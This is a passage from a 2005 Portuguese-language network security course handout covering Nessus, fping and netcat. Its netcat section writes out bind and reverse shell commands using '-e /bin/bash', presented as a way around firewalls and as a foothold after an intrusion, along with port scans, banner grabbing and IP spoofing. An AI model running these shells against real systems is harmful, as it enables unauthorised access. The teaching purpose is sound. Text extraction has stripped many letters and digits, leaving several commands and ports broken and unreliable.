Com tudo configurado(geralmente no preciso mudar muita coisa) voc pode iniciar a varredura
em sua rede para isto clique no boto "Start the scan". Agora o nessus ir varrer sua rede isso pode
demorar um pouco conforme a velocidade da rede e quantidade de plugins que voc selecionou.
Feito a varredura podemos verificar a falhas de segurana e as recomendaes do nessus para as
vulnerabilidades encontradas. Na tela Nessus Report voc v os hosts scaneados a esquerda e as
vulnerabilidades encontradas em cada um deles direita. Clicando no sinal de + sobre as vulnerabilidades
tem-se a explicao do problema e tambm como proceder para corrigi-lo. Para uma futura referncia
podese
tambm exportar o relatrio basta escolher o formato e clicar em "Save as..." recomendo escolher a
opco "Save as HTML with pies an graphs" com isso nessus ir salvar os resultados na pasta que voc
escolher e tambm gerar grficos sobre as vulnerabilidades de sua rede juntamente com o tradicional
relatrio em HTML.
Para realizar a atualizao de seus plugins, o nessus possui um script, que para funcionar necessita
que se esteja conectado na internet. Para executa-lo rode o seguinte comando:
nessus-update-plugins -v
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 58 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Com a opo -v sero exibidos os plugins que esto sendo baixados. Este script no possui
nenhuma forma para verificar a integridade dos plugins baixados,por isso use-o com cautela.( leia a
manpage deste script para maiores detalhes)
.3) Fping
O fping um programa que, assim como ping, utiliza o protocolo CMP (_____ __ _______ _______ ___ ___ ___ ______ __
_ ___ _!_ _"# ___) para determinar se um ou vrios ns da rede esto ativos, mas ao contrrio do ping, ele permite
realizar a verificao de vrios ns ao mesmo tempo, o endereo dos ns pode ser passado via linha de
comando ou atravs de um arquivo texto.
O fping ao receber uma confirmao de atividade automaticamente, envia um aviso de atividade e
exclui o host da lista de verificao, mas quando um n no responde em no perodo pr determinado ele
tido como desligado ou no alcanvel.
Este comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e sua
sada ser de fcil manipulao.
Este comando aceita os seguintes parmetros:
-a : lista somente aqueles ns que esto ativos;
-A : mostra o endereo do n ao invs do seu nome de domnio;
-c : informa quanto pacotes devem ser enviados para cada host;
-C : assim como o anterior, mas este informa no final o tempo de resposta em milisegundos
de cada pacote;
-e : mostra o tempo decorrido at o recebimento do pacote de verificao;
-i : tempo mnimo em milisegundos entre o envio de dois pacotes a qualquer host da rede;
-l : loop, envia pacotes indefinidamente;
-n : utiliza o nome de domnio do host na sada do comando;
-r : nmero de tentativas de alcanar o host;
-u : mostra somente os host que no foram alcanados
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 59 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Exemplos:
nforma o estado das mquinas utilizando o nome de domnio delas, como pode ser
observado logo abaixo:
fping -n 14.14.32.5 14.14.32. 14.14.32.5 14.14.32.100 14.14.32.
ns.ravel.ufrj.br is alive
mailost.ravel.ufrj.br is alive
gw-eter.ravel.ufrj.br is alive
mailost.ravel.ufrj.br is alive
websec.ravel.ufrj.br is unreacable
nforma somente o nome das mquinas que esto ativas, como vemos abaixo:
fping -na 14.14.32.5 14.14.32. 14.14.32.5 14.14.32.100 14.14.32.
ns.ravel.ufrj.br
mailost.ravel.ufrj.br
gw-eter.ravel.ufrj.br
mailost.ravel.ufrj.br
nforma somente o nome das mquinas que no podem ser encontradas, como pode
ser observado logo abaixo:
fping -nu 14.14.32.5 14.14.32. 14.14.32.5 14.14.32.100 14.14.32.
websec.ravel.ufrj.br
Envia apenas dois pacotes para cada host e no final informa a taxa de pacotes
enviados, recebidos e perdidos, como pode ser observado logo abaixo:
fping -q -n -c 2 14.14.32.5 14.14.32. 14.14.32.5 14.14.32.100
14.14.32.101
ns.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 50.0/51.8/53.7
mailost.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 45.5/47.3/49.1
websec.ravel.ufrj.br : xmt/rcv/%loss = 2/0/100%
gw-eter.ravel.ufrj.br : xmt/rcv/%loss = 2/2/0%, min/avg/max = 51.3/52.5/53.7
146.164.32.101 : xmt/rcv/%loss = 5/5/0%, min/avg/max = 49.8/58.6/76.9
Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta de
cada um, como pode ser observado logo abaixo:
fping -q -n -C 5 14.14.32.5 14.14.32. 14.14.32.5 14.14.32.100
14.14.32.101
ns.ravel.ufrj.br : 490.2 509.4 520.3 505.6 466.7
mailost.ravel.ufrj.br : 529.4 512.2 526.0 489.0 505.6
websec.ravel.ufrj.br : - - - - -
gw-eter.ravel.ufrj.br : 479.3 540.4 509.7 478.5 494.6
146.164.32.101 : 684.3 520.1 592.9 533.1 745.8
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 60 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
nforma o tempo de resposta de cada host, informando o seu endereo ip ao invs do
seu nome de domnio, como pode ser observado logo abaixo:
fping -A -e protheus.ravel.ufrj.br websec.ravel.ufrj.br www.yahoo.com.br
www.gmail.com
146.164.32.67 is alive (53.3 ms)
200.152.161.113 is alive (45.9 ms)
64.233.171.107 is alive (534 ms)
146.164.32.75 is unreacable
.3) Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo
TCP/P. Dada sua grande versatilidade, o NetCat considerado pelos hackers o canivete suo do TCP/P,
podendo ser usado para fazer desde portscans at brute force attacks.
O nome netcat vem do comando cat do Linux/Unix. O cat concatena arquivos e envia para a sada
padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat
concatena sockets TCP e UDP.
.3.1) Opes do Netcat
-e comando : Executa o comando especificado usando como entrada (stdin) os dados recebidos
pela rede e enviando os dados de sada (stdout e stderr) para a rede. Essa opo somente estar presente
se o nc for compilado com a opo GAPNG_SECURTY_HOLE, j que permite que usurios disponibilizem
programas para qualquer um conectado a rede.
-i : Especifica o intervalo de tempo no qual as linhas de texto sero enviadas ou recebidas.
-l : Coloca no netcat em estado de escuta (listening)
-L : Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de
comando caso a conexo feche;
-n : Fora o netcat a usar apenas endereos de P numricos, sem fazer consultas a servidores
DNS;
-o filename : Usando para obter um log dos dados de entrada ou sada, em formato hexadecimal;
-p : Especifica a porta a ser usada, sujeito a disponibilidade e a restries de privilgio;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 61 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
-r : Faz as portas do portscan serem escolhidas aleatoriamente;
-s : Especifica o endereo P da interface usada para enviar os pacotes. Pode ser usado para
spoofing de Ps, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o P
desejado;
-t : Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo
-DTELNET;
-u : Usar UDP ao invs de TCP;
-; : Controla o nvel de mensagens mostradas na tela;
-w : Limita o tempo mximo para que uma conexo seja estabelecida;
-z : Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo
UDP.
.3.2) Preparando as nterfaces de Rede
Para testar o netcat, usaremos dois aliases na interface loopback (lo) do linux. O endereo P default
da interface lo no linux 12.0.0.1. Se mexermos com o endereo 12.0.0.1 podemos quebrar as nossas
conexes de rede. Ao invs disso, usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir
endereos P essas interfaces, os seguintes comandos devem ser executados (como usurio root) na
console do linux:
ifconfig lo:1 10.0.1.1
ifconfig lo:2 10.0.1.2
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 62 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
O comando ifconfig tambm permite verificar se o comando foi bem sucedido:
ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:700 (700.0 b) TX bytes:700 (700.0 b)
lo:1 Link encap:Local Loopback
inet addr:10.0.1.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:20848 errors:911 dropped:0 overruns:0 frame:926
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb)
lo:2 Link encap:Local Loopback
inet addr:10.0.1.2 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:20848 errors:911 dropped:0 overruns:0 frame:926
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)
As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois
computadores na mesma rede, com Ps diferentes.
.3.3) Colocando o Netcat para escutar uma porta
O seguinte comando permite usar o netcat para "escutar" o trfego da rede:
nc -vv -l -p00
Listening on any address 8080 (webcace)
Para redirecionar a sada para um arquivo, usa-se o seguinte formato:
nc -l -p00 > filename.txt
Para conectar um cliente netcat, usa-se o seguinte comando:
nc 10.0.1.1 -p00 > filename.txt
Assim, tudo o que for digitado no cliente ser repetido no servidor (na primeira console). Use CTRLC
para terminar a conexo.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 63 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
O servidor dever mostrar um breve resumo da conexo:
Total received bytes: 5
Total sent bytes: 0
.3.4) Transferindo Arquivos
Transferir arquivos de um host para outro usando o netcat bastante simples. Basta configurar o
lado server (que vai receber o arquivo) para "escutar" uma porta especfica e redirecionar todos os dados
recebidos para um arquivo. Colocando-se um timeout, o servidor ir perceber quando no existem mais
dados chegando e ir fechar a conexo. No lado cliente da conexo, simplesmente conecta-se porta do
servidor e passa-se o arquivo a ser transferido como entrada.
Servidor:
nc -vvn -l -p 3000 -w 30 > file
Listening on any address 3000
Cliente:
nc -vvn -w 2 10.0.0.1 3000 file1
10.0.0.1 3000 open
O servidor ir mostrar a seguinte mensagem quando uma conexo for estabelecida:
Connection from 10.0.0.1:1028
Novamente, a conexo deve ser terminada usando-se o CTRL-C. O servidor ir mostrar:
Exiting.
Total received bytes: 6
Total sent bytes: 0
Enquanto que o cliente mostrar:
Total received bytes: 0
Total sent bytes: 6
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 64 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.3.5) Emulando o servio de Telnet
Agora que j sabemos como fazer uma transferncia de arquivos, podemos tentar algo mais til. Por
exemplo, podemos nos conectar em uma mquina remota e executar alguns comandos, sem passar por
mecanismos de controle de acesso. Para isso, podemos usar o netcat com a opo -e. Um simples
exemplo:
Na console do servidor entre:
nc -l -p 5000 -e /bin/bash
No cliente:
nc 10.0.1.1 5000
Agora, estamos conectados no servidor, e com acesso ao shell. No vemos o prompt, mas podemos
ver a sada de cada comando enviado para o servidor:
Is
bin dev ome media opt root srv tmp var
boot etc lib mnt proc sbin sys usr
.3.) Criando um Portscanning
possvel usar o netcat para fazer portscans. Para isso, deve-se usar a flag -z (zero /O mode), que
apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se
usar a opo -u.
TCP
nc -vvn -z xxx.xxx.xxx.xxx start-end
UDP
nc -u -vvn -z xxx.xxx.xxx.xxx start-end
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 65 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
No exemplo abaixo, tentamos fazer um scan das portas 21 at 2. Como pode-se ver, portas
fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP
basicamente o mesmo.
nc -vvn -z 10.0.0.1 21-2
10.0.0.1 21 (ftp): Connection refused
10.0.0.1 22 (ss) open
10.0.0.1 23 (telnet): Connection refused
10.0.0.1 24: Connection refused
10.0.0.1 25 (smtp): Connection refused
10.0.0.1 26: Connection refused
Total received bytes: 0
Total sent bytes: 0
.3.) Telnet Reverso
Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambem possuem
algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes no tem um P vlido que
podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum
arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp no
poderia ser usado.
Por exemplo, temos um servidor que aceita apenas conexes externas na porta 0, mas no tem
um P externo vlido. O computador de casa provavelmente possui um P real vlido, e portas que podem
ser abertas ou fechadas conforme a necessidade. nvertendo as direes das conexes pode resolver esse
problema: basta fazer o computador do escritrio conectar no computador de casa, recebendo comandos do
cliente a executando-os no servidor. Essa tcnica conhecida como Telnet Reverso.
Vamos chamar o computador do escritrio de WORK e o computador de casa HOME. Se o
computador HOME for configurado para usar P dinmico, precisaremos de um nome para DNS dinmico,
tipo o servio fornecido pela dyndns.org. No computador WORK, configuramos um job cron para iniciar as
1:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sesso bash. Para
isso, em casa deve-se iniciar (antes das 1:00) o netcat da seguinte forma:
nc -vv -l -p 0
As 10:00, WORK conecta ao HOME, inicia o bash e est pronto para executar qualquer comando
que queremos.
Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em modo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 66 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
de espera, escutando uma conexo:
nc -vv -l -p 0
Listening on any address 80
Para conectar a partir do servidor (WORK):
nc 10.0.1.1 0 -e /bin/bash
Essa tcnica bem simples e eficiente, pois usa somente a porta 0, que dificilmente estar
bloqueada no firewall. A partir do computador HOME voc pode enviar comandos para o WORK, e receber
o resultado localmente.
Alm disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois de
uma invaso.
.3.) Banner-grabbing
Banner-grabbing consiste em enviar para o destino strings especficas a partir de um arquivo e
receber os resultados na tela. O exemplo a seguir inclui um lao for bsico para fazer o scan de mltiplos
destinos de uma vez. O arquivo WEB.txt deve conter :
head / http/1.0
e dois "enters", ou apenas os dois enters para funcionar em outras portas alm da 0. O arquivo
Plist deve conter a lista dos endereos P a serem scaneados:
10.0.1.1
Aps criar esses dois arquivos, execute:
for f in `cat Plist.txt`; do nc $f 0 WEB.txt; done;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 67 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
O resultado dever ser algo do tipo:
HTTP/1.1 501 Metod Not Implemented
Date: Mon, 13 Dec 1999 08:19:31 GMT
Server: Apace/2.0.40 (Red Hat Linux)
Vary: accept-language
Accept-Ranges: bytes
Content-Lengt: 993
Connection: close
Content-Type: text/tml; carset=ISO-8859-1
Expires: Mon, 13 Dec 1999 08:19:31 GMT
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE tml PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"ttp://www.w3.org/TR/xtml11/DTD/xtml11.dtd">
<tml xmlns="ttp://www.w3.org/1999/xtml" xml:lang="en">
<ead>
<title>Cannot process request!</title>
<meta ttp-equiv="Content-Type" content="text/tml; carset=iso-8859-1" />
<link rev="made" ref="mailto:root@localost" />
<style type="text/css">
<!--
body { color: #000000; background-color: #FFFFFF; }
a:link { color: #0000CC; }
-->
</style>
</ead><body>
<1>Cannot process request!</1>
<dl> <dd>
Te server does not support te action requested by te browser.
</dd></dl><dl><dd>
If you tink tis is a server error, please contact
te <a ref=" mailto:root@localos t ">webmaster</a >
</dd></dl>
<2>Error 501</2>
<dl> <dd>
<address>
<a ref="/">localost.localdomain</a>
<br />
<small>Mon Dec 13 00:19:31 1999</small>
<br />
<small>Apace/2.0.40 (Red Hat Linux)</small>
</address>
</dd> </dl>
</body>
</tml>
Voc pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexo
HTTPS, voc usar o stunnel para tunelar o nc, ou apenas o prprio stunnel. Para mais detalhes veja a man
page do stunnel:
man stunnel
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 68 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
A sintaxe do comando dever ser algo parecido com a seguinte linha:
(echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port
.3.) P Spoofing
Usando o netcat, voc pode fazer inclusive spoofing de endereos P. Se voc estiver escutando o
trfego em um segmento, voc pode enviar esse trfego para outro host usando o protocolo UDP.
O comando dever ser tipo:
tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip port>
sso tambm requer que voc configure o endereo P spoofed para um alias na sua interface de
rede:
ifconfig eth0:N spoofed_ip
onde N o alias a ser configurado. sso ir causar problemas com o host que est sendo spoofed, j
que feito o mesmo endereo P propagado por dois hosts na mesma rede. Para executar um spoofing
sem causar tantos problemas, use a ferramenta hping.
.4) Outros Comandos:
Bastile: ele um pacote de scripts utilizados para aumentar o nvel de segurana do Linux,
desenvolvido para a distribuio Red Hat com o pacote do Perl (Pratical Extraction and Report Language),
deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaes bsicas, permitindo
ainda ativar e desativar opes do sistema operacional;
SATAN: o aplicativo Security Administrator's Tool for Analizing Network, pode ser exectado em
qualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP, varredura de
vulnerabilidades mais conhecidas, oferece tutoriais que descrevem as vulnerabilidades e como explora-las;
COO!S: Computer Oracle and Password System, um dos aplicativos utilizados para realizar
varredura do host local, verificar o modo dos arquivos e as senhas fceis. No final de seu trabalho ele gera
um relatrio com a descrio e a ao a ser tomada para resolver a violao;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 69 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Tripwire : este aplicativo informa se j houve alguma invaso no sistema. Ele um analisador de
integridade de arquivos e diretrios, durante sua execuo ele compara as informaes existentes no
sistema de arquivo com os dados prviamente coletados e armazenados no banco de dados. Normalmente
sua atividade agendada pela CRON do sistema. Aps ser executado ele produz um relatrio com as
possveis violaes que o sistema possa ter sofrido. Quando executado periodicamente permite que
brechas de segurana possam ser descobertas o mais rpido possvel.
!G! : este uma ferramenta multi plataforma que atravs da criptografia simtrica permite proteger
o contedo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar a chave
pblica do destinatrio de tal modo que somente quem possuir sua chave privada poder decifar a
mensagem que lhe foi enviada.
Hping:
cmpenum:
cmpquery:
Strobe:
Udp_scan:
Siphon:
p0f:
Cheops:
cmpinfo:
nttcp:
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 70 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Referencias:
[1] Net, Urubatam; Dominando Linux Firewall ptables;
[2] Linux Magazine, Nmero 4 Ano , pgina 32;
[3] Arkin, Ofir; CMP Usage in Scanning; Julho de 2000;
[4] Fping http:\\www.fping.com\
[5] RFC 112: Requiriments for Pv4 Routers; http:\\www.ietf.org\rfc\rfc112.txt
[] RFC3 - TRANSMSSON CONTROL PROTOCOL; DARPA NTERNET PROGRAM,
PROTOCOL SPECFCATON; Defense Advanced Research Projects Agency. September 11;
[] ANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers;
[] Fyodor; Remote OS derection via TCP/P Stack FingerPrinting; 1 de Outubro de 1;
[] Arkin, Ofir; CMP Usage in Scanning, The Complete Know-How; Verso 3.0; Junho de 2001;
[10]Arkin, Ofir e Yarochkin, Fyodor; X remote CMP based OS Fingerprinting techniques; Agosto de
2001.;
[11] Arkin, Ofir; A remote active OS fingerprinting tool using CMP; Abril de 2002;
[12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation of
Active Operation System Fingerprinting; julho de 2003;
[13] Cid, Daniel B.; dentificao Passiva de Sistemas Operacionais; Maio de 2003;
[14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 2 de
Novembro de 2000;
[15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - dentifing remote hosts, without then
khnowing; 4 de Maro de 2002
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 71 de 71

You might also like